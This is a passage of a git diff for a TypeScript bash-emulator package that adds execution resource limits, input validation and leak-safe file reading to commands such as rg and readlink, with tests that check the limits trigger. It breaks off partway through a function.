@@ -55,6 +74,7 @@ export const readlinkCommand: Command = {
           const seen = new Set<string>();
 
           while (true) {
+            budget.visit(seen.size);
             if (seen.has(currentPath)) {
               // Circular symlink detected
               break;
@@ -82,7 +102,13 @@ export const readlinkCommand: Command = {
           const target = await ctx.fs.readlink(filePath);
           stdout += `${target}\n`;
         }
-      } catch {
+      } catch (error) {
+        if (
+          error instanceof ExecutionLimitError ||
+          error instanceof ExecutionAbortedError
+        ) {
+          throw error;
+        }
         if (!canonicalize) {
           // Only error for non-canonicalize mode on non-symlinks
           anyError = true;
diff --git a/packages/just-bash/src/commands/registry.ts b/packages/just-bash/src/commands/registry.ts
index e0b32525..09917e1b 100644
--- a/packages/just-bash/src/commands/registry.ts
+++ b/packages/just-bash/src/commands/registry.ts
@@ -1,10 +1,14 @@
-// Command registry with statically analyzable lazy loading
+// RuntimeCommand registry with statically analyzable lazy loading
 // Each command has an explicit loader function for bundler compatibility (Next.js, etc.)
 
 import { DefenseInDepthBox } from "../security/defense-in-depth-box.js";
-import type { Command, CommandContext, ExecResult } from "../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../types.js";
 
-type CommandLoader = () => Promise<Command>;
+type CommandLoader = () => Promise<RuntimeCommand>;
 
 interface LazyCommandDef<T extends string = string> {
   name: T;
@@ -531,15 +535,18 @@ const networkCommandLoaders: LazyCommandDef<NetworkCommandName>[] = [
 ];
 
 // Cache for loaded commands
-const cache = new Map<string, Command>();
+const cache = new Map<string, RuntimeCommand>();
 
 /**
  * Creates a lazy command that loads on first execution
  */
-function createLazyCommand(def: LazyCommandDef): Command {
+function createLazyCommand(def: LazyCommandDef): RuntimeCommand {
   return {
     name: def.name,
-    async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+    async execute(
+      args: string[],
+      ctx: RuntimeCommandContext,
+    ): Promise<ExecResult> {
       let cmd = cache.get(def.name);
 
       if (!cmd) {
@@ -583,7 +590,7 @@ export function getNetworkCommandNames(): string[] {
  * Creates all lazy commands for registration (excludes network commands)
  * @param filter Optional array of command names to include. If not provided, all commands are created.
  */
-export function createLazyCommands(filter?: CommandName[]): Command[] {
+export function createLazyCommands(filter?: CommandName[]): RuntimeCommand[] {
   const loaders = filter
     ? commandLoaders.filter((def) => filter.includes(def.name))
     : commandLoaders;
@@ -594,7 +601,7 @@ export function createLazyCommands(filter?: CommandName[]): Command[] {
  * Creates network commands for registration (curl, etc.)
  * These are only registered when network is explicitly configured.
  */
-export function createNetworkCommands(): Command[] {
+export function createNetworkCommands(): RuntimeCommand[] {
   return networkCommandLoaders.map(createLazyCommand);
 }
 
@@ -610,7 +617,7 @@ export function getPythonCommandNames(): string[] {
  * These are only registered when python is explicitly enabled.
  * Note: Python introduces additional security surface (arbitrary code execution).
  */
-export function createPythonCommands(): Command[] {
+export function createPythonCommands(): RuntimeCommand[] {
   return pythonCommandLoaders.map(createLazyCommand);
 }
 
@@ -625,7 +632,7 @@ export function getJavaScriptCommandNames(): string[] {
  * Creates javascript commands for registration (js-exec).
  * These are only registered when javascript is explicitly enabled.
  */
-export function createJavaScriptCommands(): Command[] {
+export function createJavaScriptCommands(): RuntimeCommand[] {
   return jsCommandLoaders.map(createLazyCommand);
 }
 
diff --git a/packages/just-bash/src/commands/resource-limits.security.test.ts b/packages/just-bash/src/commands/resource-limits.security.test.ts
new file mode 100644
index 00000000..e20588cd
--- /dev/null
+++ b/packages/just-bash/src/commands/resource-limits.security.test.ts
@@ -0,0 +1,120 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { ExecutionLimitError } from "../interpreter/errors.js";
+
+describe("standalone command resource limits", () => {
+  it("bounds cat's aggregate repeated stdin before concatenating it", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 5 } });
+    const result = await bash.exec("printf 1234 | cat - -");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "cat: output size limit exceeded (5 bytes)",
+    );
+  });
+
+  it("bounds cat transformations before expanding the next byte", async () => {
+    const bash = new Bash({
+      files: { "/bytes": "\x7f\x7f" },
+      executionLimits: { maxStringLength: 100, maxOutputSize: 3 },
+    });
+    const result = await bash.exec("cat -v /bytes");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("cat: output size limit exceeded");
+  });
+
+  it("bounds join's duplicate-key Cartesian product", async () => {
+    const bash = new Bash({
+      files: {
+        "/a": "1 a\n1 b\n1 c\n",
+        "/b": "1 x\n1 y\n1 z\n",
+      },
+      executionLimits: { maxLoopIterations: 4 },
+    });
+    const result = await bash.exec("join /a /b");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("join: iteration limit exceeded (4)");
+  });
+
+  it("bounds fragmented strings results before retaining another entry", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await bash.exec("printf 'a\\0b\\0c\\0' | strings -n 1");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "strings: array element limit exceeded (2)",
+    );
+  });
+
+  it("bounds strings aggregate input across repeated stdin operands", async () => {
+    const bash = new Bash({
+      files: { "/f": "abcdef" },
+      executionLimits: { maxStringLength: 10 },
+    });
+    const result = await bash.exec("strings -n 1 /f /f");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "strings: aggregate input size limit exceeded",
+    );
+  });
+
+  it.each([
+    "0",
+    "-1",
+    "nope",
+    "999999999999999999999999",
+  ])("rejects a non-positive or malformed xargs -n value (%s)", async (value) => {
+    const bash = new Bash();
+    const result = await bash.exec(`printf x | xargs -n ${value} echo`);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("xargs: invalid number for -n");
+  });
+
+  it("bounds xargs item arrays while tokenizing", async () => {
+    const bash = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await bash.exec("printf 'a b c' | xargs echo");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("xargs: array element limit exceeded (2)");
+  });
+
+  it("bounds tr SET range expansion before constructing the range", async () => {
+    const bash = new Bash({ executionLimits: { maxLoopIterations: 5 } });
+    const result = await bash.exec("printf abc | tr 'a-z' 'A-Z'");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "tr: SET expansion iteration limit exceeded (5)",
+    );
+  });
+
+  it("shares grep's filesystem-operation budget across recursion", async () => {
+    const bash = new Bash({
+      files: {
+        "/tree/a": "needle\n",
+        "/tree/b": "needle\n",
+        "/tree/c": "needle\n",
+      },
+      executionLimits: { maxGlobOperations: 2 },
+    });
+    const result = await bash.exec("grep -r needle /tree");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("grep: glob operation limit exceeded (2)");
+  });
+
+  it("passes grep's matcher work budget to stdin searches", async () => {
+    const bash = new Bash({ executionLimits: { maxLoopIterations: 2 } });
+    const input = `${"a\\n".repeat(24)}`;
+    const result = await bash.exec(`printf '${input}' | grep a`);
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "search: matching work limit exceeded (20)",
+    );
+  });
+});
diff --git a/packages/just-bash/src/commands/rev/rev.ts b/packages/just-bash/src/commands/rev/rev.ts
index 140a3377..4b43fc53 100644
--- a/packages/just-bash/src/commands/rev/rev.ts
+++ b/packages/just-bash/src/commands/rev/rev.ts
@@ -9,7 +9,11 @@
  */
 
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const revHelp = {
@@ -32,9 +36,12 @@ function reverseString(str: string): string {
   return Array.from(str).reverse().join("");
 }
 
-export const rev: Command = {
+export const rev: RuntimeCommand = {
   name: "rev",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(revHelp);
     }
diff --git a/packages/just-bash/src/commands/rg/rg-options.ts b/packages/just-bash/src/commands/rg/rg-options.ts
index ebefe40f..dabf4afb 100644
--- a/packages/just-bash/src/commands/rg/rg-options.ts
+++ b/packages/just-bash/src/commands/rg/rg-options.ts
@@ -57,7 +57,7 @@ export interface RgOptions {
   noIgnoreVcs: boolean;
   ignoreFiles: string[]; // custom ignore files via --ignore-file
   maxDepth: number;
-  maxFilesize: number; // in bytes, 0 = unlimited
+  maxFilesize: number; // in bytes, 0 = explicitly unlimited
   followSymlinks: boolean;
   searchZip: boolean;
   searchBinary: boolean;
@@ -116,7 +116,9 @@ export function createDefaultOptions(): RgOptions {
     noIgnoreVcs: false,
     ignoreFiles: [],
     maxDepth: 256,
-    maxFilesize: 0,
+    // Keep the default liberal but finite so a plain recursive search cannot
+    // read an arbitrarily large single file before command budgets apply.
+    maxFilesize: 512 * 1024 * 1024,
     followSymlinks: false,
     searchZip: false,
     searchBinary: false,
diff --git a/packages/just-bash/src/commands/rg/rg-parser-threads.test.ts b/packages/just-bash/src/commands/rg/rg-parser-threads.test.ts
index 64fc31b0..5e517e12 100644
--- a/packages/just-bash/src/commands/rg/rg-parser-threads.test.ts
+++ b/packages/just-bash/src/commands/rg/rg-parser-threads.test.ts
@@ -63,3 +63,20 @@ describe("rg -j/--threads compatibility flag", () => {
     expect(DEFAULT_MAX_DEPTH).toBeGreaterThan(0);
   });
 });
+
+describe("rg --max-depth validation", () => {
+  for (const value of ["nope", "-1", "1.5", "9007199254740992"]) {
+    it(`rejects ${value}`, () => {
+      const result = parseArgs(["--max-depth", value, "pattern"]);
+      expect("error" in result).toBe(true);
+      if ("error" in result) {
+        expect(result.error.stderr).toContain("invalid --max-depth value");
+      }
+    });
+  }
+
+  it("accepts zero as a finite nonnegative depth", () => {
+    const result = expectOk(parseArgs(["--max-depth=0", "pattern"]));
+    expect(result.options.maxDepth).toBe(0);
+  });
+});
diff --git a/packages/just-bash/src/commands/rg/rg-parser.ts b/packages/just-bash/src/commands/rg/rg-parser.ts
index 1ab6dda5..fcbd1d22 100644
--- a/packages/just-bash/src/commands/rg/rg-parser.ts
+++ b/packages/just-bash/src/commands/rg/rg-parser.ts
@@ -56,6 +56,20 @@ function validateFilesize(value: string): ExecResult | null {
   return null;
 }
 
+function validateNonnegativeInteger(
+  option: string,
+  value: string,
+): ExecResult | null {
+  if (!/^\d+$/.test(value) || !Number.isSafeInteger(Number(value))) {
+    return {
+      stdout: "",
+      stderr: `rg: invalid --${option} value: ${value}\n`,
+      exitCode: 1,
+    };
+  }
+  return null;
+}
+
 /**
  * Validate a file type name
  * Note: We don't strictly validate type names because --type-add can define custom types.
@@ -109,7 +123,13 @@ const VALUE_OPTS: ValueOptDef[] = [
   { short: "e", long: "regexp", target: "patterns", multi: true },
   { short: "f", long: "file", target: "patternFiles", multi: true },
   { short: "r", long: "replace", target: "replace" },
-  { short: "d", long: "max-depth", target: "maxDepth", parse: parseInt },
+  {
+    short: "d",
+    long: "max-depth",
+    target: "maxDepth",
+    parse: (value) => Number(value),
+    validate: (value) => validateNonnegativeInteger("max-depth", value),
+  },
   {
     long: "max-filesize",
     target: "maxFilesize",
diff --git a/packages/just-bash/src/commands/rg/rg-search.ts b/packages/just-bash/src/commands/rg/rg-search.ts
index 4679e185..e8bddd92 100644
--- a/packages/just-bash/src/commands/rg/rg-search.ts
+++ b/packages/just-bash/src/commands/rg/rg-search.ts
@@ -3,10 +3,21 @@
  */
 
 import { gunzipSync } from "node:zlib";
-import { decodeBytesToUtf8, unsafeBytesFromLatin1 } from "../../encoding.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import {
+  decodeBytesToUtf8,
+  latin1FromBytes,
+  readBytesFrom,
+  unsafeBytesFromLatin1,
+  utf8ByteLength,
+} from "../../encoding.js";
+import type { ResourceLease } from "../../execution-scope.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { FileTraversalBudget } from "../../fs/traversal.js";
 import { shellJoinArgs } from "../../helpers/shell-quote.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import { createUserRegex, type UserRegex } from "../../regex/index.js";
-import type { CommandContext, ExecResult } from "../../types.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 import {
   buildRegex,
   convertReplacement,
@@ -46,12 +57,76 @@ function validateGlob(glob: string): string | null {
 }
 
 export interface SearchContext {
-  ctx: CommandContext;
+  ctx: RuntimeCommandContext;
   options: RgOptions;
   paths: string[];
   explicitLineNumbers: boolean;
 }
 
+function reservePatternSource(
+  ctx: RuntimeCommandContext,
+  bytes: number,
+): ResourceLease {
+  // The raw bytes, decoded string, and retained per-line strings can coexist
+  // until the combined regex is compiled. Reject prospectively before the
+  // filesystem allocates any of them.
+  if (
+    !Number.isSafeInteger(bytes) ||
+    bytes < 0 ||
+    bytes > ctx.limits.maxStringLength ||
+    bytes > Math.floor(ctx.limits.maxLiveBytes / 3)
+  ) {
+    throw new ExecutionLimitError(
+      bytes > ctx.limits.maxStringLength
+        ? `rg: pattern file exceeds string limit (${ctx.limits.maxStringLength} bytes)`
+        : `rg: live byte limit exceeded (${ctx.limits.maxLiveBytes} bytes)`,
+      "string_length",
+    );
+  }
+  return (
+    ctx.executionScope?.reserveBytes("rg pattern files", bytes * 3, "rg") ?? {
+      release: () => undefined,
+    }
+  );
+}
+
+function appendPatternLines(
+  patterns: string[],
+  content: string,
+  ctx: RuntimeCommandContext,
+): void {
+  let lineStart = 0;
+  for (let index = 0; index <= content.length; index++) {
+    if (index < content.length && content.charCodeAt(index) !== 10) continue;
+    if (index > lineStart) {
+      if (patterns.length >= ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `rg: pattern limit exceeded (${ctx.limits.maxArrayElements})`,
+          "iterations",
+        );
+      }
+      ctx.executionScope?.consumeWork(1, "rg pattern insertion");
+      patterns.push(content.slice(lineStart, index));
+    }
+    lineStart = index + 1;
+  }
+}
+
+function accountPatternInput(
+  ctx: RuntimeCommandContext,
+  bytes: number,
+  aggregateBytes: number,
+): number {
+  if (bytes > ctx.limits.maxInputBytes - aggregateBytes) {
+    throw new ExecutionLimitError(
+      `rg: aggregate input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+      "string_length",
+    );
+  }
+  ctx.executionScope?.consumeInput(bytes, "rg pattern files");
+  return aggregateBytes + bytes;
+}
+
 /**
  * Execute the search with parsed options
  */
@@ -76,66 +151,116 @@ export async function executeSearch(
     return listFiles(ctx, filesPaths, options);
   }
 
-  // Combine -e patterns with patterns from files
-  const patterns = [...options.patterns];
+  if (options.patterns.length > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `rg: pattern limit exceeded (${ctx.limits.maxArrayElements})`,
+      "iterations",
+    );
+  }
 
-  // Read patterns from files (-f/--file). Patterns are regex source — decode
-  // bytes to UTF-8 so unicode-class patterns work.
-  for (const patternFile of options.patternFiles) {
-    try {
-      let content: string;
-      if (patternFile === "-") {
-        content = decodeBytesToUtf8(ctx.stdin);
-      } else {
-        const filePath = ctx.fs.resolvePath(ctx.cwd, patternFile);
-        content = await ctx.fs.readFile(filePath);
+  // Combine -e patterns with patterns from files. Pattern-file source and its
+  // decoded lines remain live until regex compilation completes, so keep a
+  // conservative lease for every source and release all of them together.
+  const patterns = options.patterns.slice();
+  const patternSourceLeases: ResourceLease[] = [];
+  let aggregatePatternInputBytes = 0;
+  let regex: UserRegex;
+  let kResetGroup: number | undefined;
+  try {
+    // Read patterns from files (-f/--file). Patterns are regex source — decode
+    // bytes to UTF-8 so unicode-class patterns work. Scan incrementally instead
+    // of split/filter/spread, which would create multiple unbounded arrays and
+    // could overflow the argument stack on a large pattern file.
+    for (const patternFile of options.patternFiles) {
+      try {
+        let rawContent: Parameters<typeof decodeBytesToUtf8>[0];
+        let contentBytes: number;
+
+        if (patternFile === "-") {
+          rawContent = ctx.stdin;
+          contentBytes = latin1FromBytes(ctx.stdin).length;
+          aggregatePatternInputBytes = accountPatternInput(
+            ctx,
+            contentBytes,
+            aggregatePatternInputBytes,
+          );
+        } else {
+          const filePath = ctx.fs.resolvePath(ctx.cwd, patternFile);
+          const stat = await ctx.fs.stat(filePath);
+          contentBytes = stat.size;
+          aggregatePatternInputBytes = accountPatternInput(
+            ctx,
+            contentBytes,
+            aggregatePatternInputBytes,
+          );
+          const lease = reservePatternSource(ctx, contentBytes);
+          patternSourceLeases.push(lease);
+          rawContent = await readBytesFrom(ctx.fs, filePath);
+          const actualBytes = latin1FromBytes(rawContent).length;
+          if (actualBytes > contentBytes) {
+            throw new ExecutionLimitError(
+              "rg: pattern file grew while being read",
+              "string_length",
+            );
+          }
+          contentBytes = actualBytes;
+        }
+
+        if (patternFile === "-") {
+          patternSourceLeases.push(reservePatternSource(ctx, contentBytes));
+        }
+
+        const content = decodeBytesToUtf8(
+          rawContent,
+          ctx.limits.maxStringLength,
+        );
+        ctx.executionScope?.consumeWork(
+          content.length,
+          "rg pattern file parsing",
+        );
+        appendPatternLines(patterns, content, ctx);
+      } catch (error) {
+        rethrowFatalExecutionError(error);
+        return {
+          stdout: "",
+          stderr: `rg: ${patternFile}: No such file or directory\n`,
+          exitCode: 2,
+        };
+      }
+    }
+
+    if (patterns.length === 0) {
+      // If patterns came from files but all were empty, return no-match (exit 1)
+      // Otherwise return error for no pattern given (exit 2)
+      if (options.patternFiles.length > 0) {
+        return { stdout: "", stderr: "", exitCode: 1 };
       }
-      const filePatterns = content
-        .split("\n")
-        .filter((line) => line.length > 0);
-      patterns.push(...filePatterns);
-    } catch {
       return {
         stdout: "",
-        stderr: `rg: ${patternFile}: No such file or directory\n`,
+        stderr: "rg: no pattern given\n",
         exitCode: 2,
       };
     }
-  }
 
-  if (patterns.length === 0) {
-    // If patterns came from files but all were empty, return no-match (exit 1)
-    // Otherwise return error for no pattern given (exit 2)
-    if (options.patternFiles.length > 0) {
-      return { stdout: "", stderr: "", exitCode: 1 };
+    // Determine case sensitivity and compile while pattern storage is leased.
+    const effectiveIgnoreCase = determineIgnoreCase(options, patterns);
+    try {
+      const regexResult = buildSearchRegex(
+        patterns,
+        options,
+        effectiveIgnoreCase,
+      );
+      regex = regexResult.regex;
+      kResetGroup = regexResult.kResetGroup;
+    } catch {
+      return {
+        stdout: "",
+        stderr: `rg: invalid regex: ${patterns.join(", ")}\n`,
+        exitCode: 2,
+      };
     }
-    return {
-      stdout: "",
-      stderr: "rg: no pattern given\n",
-      exitCode: 2,
-    };
-  }
-
-  // Determine case sensitivity
-  const effectiveIgnoreCase = determineIgnoreCase(options, patterns);
-
-  // Build regex
-  let regex: UserRegex;
-  let kResetGroup: number | undefined;
-  try {
-    const regexResult = buildSearchRegex(
-      patterns,
-      options,
-      effectiveIgnoreCase,
-    );
-    regex = regexResult.regex;
-    kResetGroup = regexResult.kResetGroup;
-  } catch {
-    return {
-      stdout: "",
-      stderr: `rg: invalid regex: ${patterns.join(", ")}\n`,
-      exitCode: 2,
-    };
+  } finally {
+    for (const lease of patternSourceLeases) lease.release();
   }
 
   // If no paths given and stdin has content, search stdin (like real rg).
@@ -170,6 +295,9 @@ export async function executeSearch(
       passthru: options.passthru,
       multiline: options.multiline,
       kResetGroup,
+      maxWork: ctx.limits.maxLoopIterations,
+      maxMatches: ctx.limits.maxArrayElements,
+      signal: ctx.signal,
     });
 
     if (options.quiet) {
@@ -319,17 +447,24 @@ interface CollectFilesResult {
  * Collect files to search based on paths and options
  */
 async function collectFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   paths: string[],
   options: RgOptions,
   gitignore: GitignoreManager | null,
   typeRegistry: FileTypeRegistry,
 ): Promise<CollectFilesResult> {
   const files: string[] = [];
+  const traversalBudget = new FileTraversalBudget({
+    limits: ctx.limits,
+    signal: ctx.signal,
+    executionScope: ctx.executionScope,
+    site: "rg",
+  });
   let explicitFileCount = 0;
   let directoryCount = 0;
 
   for (const path of paths) {
+    traversalBudget.checkpoint();
     const fullPath = ctx.fs.resolvePath(ctx.cwd, path);
 
     try {
@@ -344,6 +479,12 @@ async function collectFiles(
         if (
           shouldIncludeFile(path, options, gitignore, fullPath, typeRegistry)
         ) {
+          if (files.length >= ctx.limits.maxArrayElements) {
+            throw new ExecutionLimitError(
+              `rg: file collection limit exceeded (${ctx.limits.maxArrayElements})`,
+              "array_elements",
+            );
+          }
           files.push(path);
         }
       } else if (stat.isDirectory) {
@@ -357,9 +498,12 @@ async function collectFiles(
           gitignore,
           typeRegistry,
           files,
+          traversalBudget,
+          new Set(),
         );
       }
-    } catch {
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       // Path doesn't exist - skip silently
     }
   }
@@ -376,7 +520,7 @@ async function collectFiles(
  * Recursively walk a directory and collect matching files
  */
 async function walkDirectory(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   relativePath: string,
   absolutePath: string,
   depth: number,
@@ -384,10 +528,31 @@ async function walkDirectory(
   gitignore: GitignoreManager | null,
   typeRegistry: FileTypeRegistry,
   files: string[],
+  budget: FileTraversalBudget,
+  activeDirectories: Set<string>,
 ): Promise<void> {
   if (depth >= options.maxDepth) {
     return;
   }
+  budget.visit(depth);
+
+  let directoryIdentity: string | undefined;
+  if (options.followSymlinks) {
+    try {
+      const stat = await ctx.fs.stat(absolutePath);
+      directoryIdentity =
+        stat.identity !== undefined
+          ? `identity:${stat.identity}`
+          : stat.dev !== undefined && stat.ino !== undefined
+            ? `inode:${String(stat.dev)}:${String(stat.ino)}`
+            : `path:${await ctx.fs.realpath(absolutePath)}`;
+      if (activeDirectories.has(directoryIdentity)) return;
+      activeDirectories.add(directoryIdentity);
+    } catch (error) {
+      rethrowFatalExecutionError(error);
+      return;
+    }
+  }
 
   // Load ignore files for this directory (per-directory ignore loading)
   if (gitignore) {
@@ -403,6 +568,7 @@ async function walkDirectory(
         }));
 
     for (const entry of entries) {
+      budget.checkpoint();
       const name = entry.name;
 
       // Skip common ignored directories (VCS, node_modules, etc.)
@@ -514,8 +680,11 @@ async function walkDirectory(
           gitignore,
           typeRegistry,
           files,
+          budget,
+          activeDirectories,
         );
       } else if (isFile) {
+        budget.visit(depth + 1);
         // Check max filesize
         if (options.maxFilesize > 0) {
           try {
@@ -536,12 +705,23 @@ async function walkDirectory(
             typeRegistry,
           )
         ) {
+          if (files.length >= ctx.limits.maxArrayElements) {
+            throw new ExecutionLimitError(
+              `rg: file collection limit exceeded (${ctx.limits.maxArrayElements})`,
+              "array_elements",
+            );
+          }
           files.push(entryRelativePath);
         }
       }
     }
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // Directory read failed - skip
+  } finally {
+    if (directoryIdentity !== undefined) {
+      activeDirectories.delete(directoryIdentity);
+    }
   }
 }
 
@@ -698,7 +878,7 @@ function matchGlob(str: string, pattern: string, ignoreCase = false): boolean {
  * List files that would be searched (--files mode)
  */
 async function listFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   inputPaths: string[],
   options: RgOptions,
 ): Promise<ExecResult> {
@@ -746,7 +926,12 @@ async function listFiles(
 
   // Output file list
   const sep = options.nullSeparator ? "\0" : "\n";
-  const stdout = files.map((f) => f + sep).join("");
+  const output = new BoundedStringBuilder(
+    Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+    "rg",
+  );
+  for (const file of files) output.append(file).append(sep);
+  const stdout = output.build();
 
   return { stdout, stderr: "", exitCode: 0 };
 }
@@ -769,11 +954,16 @@ function matchesPreGlob(filename: string, preGlobs: string[]): boolean {
  * Read file content, handling preprocessing and gzip decompression if needed
  */
 async function readFileContent(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   filePath: string,
   file: string,
   options: RgOptions,
-): Promise<{ content: string; isBinary: boolean } | null> {
+): Promise<{
+  content: string;
+  isBinary: boolean;
+  lease?: ResourceLease;
+} | null> {
+  let lease: ResourceLease | undefined;
   try {
     // Check for preprocessing with --pre
     if (options.preprocessor && ctx.exec) {
@@ -788,11 +978,20 @@ async function readFileContent(
         if (result.exitCode === 0 && result.stdout) {
           // Preprocessor output arrives as a latin1 byte buffer in the
           // pipeline; decode for regex matching. Empty output falls through.
+          lease = ctx.executionScope?.reserveBytes(
+            "rg preprocessor text",
+            result.stdout.length,
+            "rg preprocessor",
+          );
           const content = decodeBytesToUtf8(
             unsafeBytesFromLatin1(result.stdout),
           );
+          ctx.executionScope?.consumeInput(
+            utf8ByteLength(content),
+            "rg preprocessor",
+          );
           const sample = content.slice(0, 8192);
-          return { content, isBinary: sample.includes("\0") };
+          return { content, isBinary: sample.includes("\0"), lease };
         }
         // Preprocessing failed, fall through to normal file read
       }
@@ -800,28 +999,102 @@ async function readFileContent(
 
     // For -z option, try to decompress gzip files
     if (options.searchZip && file.endsWith(".gz")) {
+      const stat = await ctx.fs.stat(filePath);
+      const inputLease = ctx.executionScope?.reserveBytes(
+        "rg compressed input",
+        stat.size,
+        "rg",
+      );
       const buffer = await ctx.fs.readFileBuffer(filePath);
+      if (buffer.byteLength > stat.size) {
+        inputLease?.release();
+        throw new ExecutionLimitError(
+          "rg: file grew while being read",
+          "string_length",
+        );
+      }
+      ctx.executionScope?.consumeInput(buffer.byteLength, "rg");
       if (isGzip(buffer)) {
+        let outputLease: ResourceLease | undefined;
         try {
-          const decompressed = gunzipSync(buffer);
+          // The decoded string can coexist with zlib's output buffer. Reserve
+          // both before invoking the whole-buffer codec.
+          const outputCapacity = Math.min(
+            ctx.limits.maxStringLength,
+            ctx.limits.maxOutputSize,
+            Math.floor(
+              (ctx.executionScope?.remainingLiveBytes ??
+                ctx.limits.maxLiveBytes) / 2,
+            ),
+          );
+          outputLease = ctx.executionScope?.reserveBytes(
+            "rg decompressed text",
+            outputCapacity * 2,
+            "rg",
+          );
+          // @banned-pattern-ignore: zlib maxOutputLength is derived from resolved execution byte limits
+          const decompressed = gunzipSync(buffer, {
+            maxOutputLength: outputCapacity,
+          });
           const content = new TextDecoder().decode(decompressed);
           const sample = content.slice(0, 8192);
-          return { content, isBinary: sample.includes("\0") };
-        } catch {
+          return {
+            content,
+            isBinary: sample.includes("\0"),
+            lease: compositeLease(inputLease, outputLease),
+          };
+        } catch (error) {
+          outputLease?.release();
+          inputLease?.release();
+          rethrowFatalExecutionError(error);
           return null; // Decompression failed
         }
       }
+      inputLease?.release();
     }
 
     // Regular file read
-    const content = await ctx.fs.readFile(filePath);
+    const stat = await ctx.fs.stat(filePath);
+    // A filesystem read can transiently retain its byte buffer while creating
+    // the decoded string, so account for both representations prospectively.
+    lease = ctx.executionScope?.reserveBytes(
+      "rg file text",
+      stat.size * 2,
+      "rg",
+    );
+    const rawContent = await readBytesFrom(ctx.fs, filePath);
+    const contentBytes = latin1FromBytes(rawContent).length;
+    if (contentBytes > stat.size) {
+      throw new ExecutionLimitError(
+        "rg: file grew while being read",
+        "string_length",
+      );
+    }
+    ctx.executionScope?.consumeInput(contentBytes, "rg");
+    const content = decodeBytesToUtf8(rawContent, ctx.limits.maxStringLength);
     const sample = content.slice(0, 8192);
-    return { content, isBinary: sample.includes("\0") };
-  } catch {
+    return { content, isBinary: sample.includes("\0"), lease };
+  } catch (error) {
+    lease?.release();
+    rethrowFatalExecutionError(error);
     return null;
   }
 }
 
+function compositeLease(
+  ...leases: Array<ResourceLease | undefined>
+): ResourceLease | undefined {
+  const active = leases.filter(
+    (item): item is ResourceLease => item !== undefined,
+  );
+  if (active.length === 0) return undefined;
+  return {
+    release: () => {
+      for (const item of active) item.release();
+    },
+  };
+}
+
 /**
  * Format a single match for JSON output
  */
@@ -847,7 +1120,7 @@ interface JsonMatch {
  * Search files and produce output
  */
 async function searchFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   files: string[],
   regex: UserRegex,
   options: RgOptions,
@@ -864,7 +1137,9 @@ async function searchFiles(
   let filesWithMatch = 0;
   let bytesSearched = 0;
 
-  const BATCH_SIZE = 50;
+  // Compressed files retain both the decompressed byte buffer and decoded
+  // string while being searched. Keep their concurrency deliberately small.
+  const BATCH_SIZE = options.searchZip ? 2 : 50;
   outer: for (let i = 0; i < files.length; i += BATCH_SIZE) {
     const batch = files.slice(i, i + BATCH_SIZE);
 
@@ -875,45 +1150,55 @@ async function searchFiles(
 
         if (!fileData) return null;
 
-        const { content, isBinary } = fileData;
+        const { content, isBinary, lease } = fileData;
         bytesSearched += content.length;
 
-        // Skip binary files unless -a/--text is specified
+        // Skip binary files unless -a/--text is specified.
         if (isBinary && !options.searchBinary) {
+          lease?.release();
           return null;
         }
 
         const filenameForSearch = showFilename && !options.heading ? file : "";
+        try {
+          const result = searchContent(content, regex, {
+            invertMatch: options.invertMatch,
+            showLineNumbers: effectiveLineNumbers,
+            countOnly: options.count,
+            countMatches: options.countMatches,
+            filename: filenameForSearch,
+            onlyMatching: options.onlyMatching,
+            beforeContext: options.beforeContext,
+            afterContext: options.afterContext,
+            maxCount: options.maxCount,
+            contextSeparator: options.contextSeparator,
+            showColumn: options.column,
+            vimgrep: options.vimgrep,
+            showByteOffset: options.byteOffset,
+            replace:
+              options.replace !== null
+                ? convertReplacement(options.replace)
+                : null,
+            passthru: options.passthru,
+            multiline: options.multiline,
+            kResetGroup,
+            maxWork: ctx.limits.maxLoopIterations,
